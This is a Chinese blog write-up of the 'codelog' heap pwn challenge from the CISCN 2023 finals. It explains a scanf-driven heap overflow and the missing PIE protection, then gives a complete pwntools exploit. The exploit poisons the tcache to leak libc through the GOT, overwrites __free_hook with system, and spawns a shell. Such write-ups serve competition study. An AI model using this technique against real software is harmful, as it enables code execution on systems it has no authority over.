Ciscn2023决赛

文章发布时间:

最后更新时间:

文章总字数:
801

预计阅读时间:
4 分钟

codelog

一道看起来是序列化的简单堆题。。。 被赛方开赛前说的有两题序列化protobuf跟flatbuffers坑了

导致先去看了第三题的正常堆 结果一个数独逆不出来。。。 结果爆零噜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
switch ( i )
{
case 0:
init_code(v16, v3, v4, v5, v6, v7, v18, v19, v20, v21);
v18 = v16[0];
v19 = v16[1];
v20 = v16[2];
v21 = v16[3];
check_number = 1;
continue;
case 1:
if ( check_number != 1 )
goto LABEL_13;
open_flag();
encode(s1, v3, v8, v9, v10, v11, v18, v19, v20, v21);
close_flag();
break;
case 2:
if ( check_number != 1 )
goto LABEL_13;
open_flag();
decode(s1, v3, v12, v13, v14, v15, v18, v19, v20);
close_flag();
break;
case 3:
show_code(s1, v3, v4, v5, v6, v7, v18, v19, v20, v21);
continue;
case 4:
show_tree(v19, 2 * v20 - 1);
continue;
case 5:
add();
continue;
case 6:
delete();
continue;
case 7:
show();
continue;
case 8:
exit(0);
default:
LABEL_13:
puts("Error!");
break;
}

主要的逻辑就是菜单 不过有几个函数起到了一个误导作用

关键的漏洞有两个 一个是init_code函数中存在了一个scanf引起的堆溢出 还有一个是没有开启PIE保护机制

image-20230727222709447

实际其他函数都是一个误导作用 我们只需要利用init_code函数的堆溢出 覆盖tcachebin的fd域 使得申请到bss段上 从而向存放chunk指针的数组写入got表的地址 这样就可以借助show函数把libc地址泄露出来了 随后利用同样的手法打free_hook

唯一要注意的就是init_code本身会对堆构造产生影响 所以需要自己动调注意一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*
import pwn_pb2
io = process("./pwn")
#io = remote("47.92.7.93",8802)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

def Init(size,char,weight):
io.recvuntil("log@code:/root/ $ ")
io.sendline("Init")
io.recvuntil("Size: ")
io.sendline(str(size))
for i in range(size):
io.recvuntil("char: ")
io.sendline(char)
io.recvuntil("weight: ")
io.sendline(str(weight))
def add(size,log):
io.recvuntil("log@code:/root/ $ ")
io.sendline("Add_log")
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("log: ")
io.sendline(log)
def delete(index):
io.recvuntil("log@code:/root/ $ ")
io.sendline("Delete_log")
io.recvuntil("idx: ")
io.sendline(str(index))
def show(index):
io.recvuntil("log@code:/root/ $ ")
io.sendline("Print_log")
io.recvuntil("idx: ")
io.sendline(str(index))
def Init_much(size,char,weight,char2,weight2):
io.recvuntil("log@code:/root/ $ ")
io.sendline("Init")
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("char: ")
io.sendline(char)
io.recvuntil("weight: ")
io.sendline(str(weight))
io.recvuntil("char: ")
io.sendline(char2)
io.recvuntil("weight: ")
io.sendline(str(weight2))
Init(2,'a',1)
add(0x50,'aaaa')#0
add(0x50,'aaaa')#1
delete(1)
delete(0)
puts_got = elf.got['puts']
payload = cyclic(0x10-0x2)+p64(0)+p64(0x21)+cyclic(0x10)+p64(0)+p64(0x21)+cyclic(0x10)+p64(0)+p64(0x61)+p64(0x405230)
Init_much(2,'a',1,payload,1)
add(0x50,'aaaa')#0
add(0x50,p64(puts_got))#1
show(1)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
system_addr = libc_addr + libc.sym['system']

add(0x50,'aaaa')#2
add(0x50,'aaaa')#3
delete(3)
delete(2)
payload = cyclic(0xe)+p64(0)+p64(0x21)+cyclic(0x10)+p64(0)+p64(0x21)+cyclic(0x10)+p64(0)+p64(0x61)+p64(free_hook)
# gdb.attach(io,'b *0x401AE1')
# pause(0)
Init_much(2,'a',1,payload,1)
add(0x50,'/bin/sh\x00')#2
add(0x50,p64(system_addr))
delete(2)
io.interactive()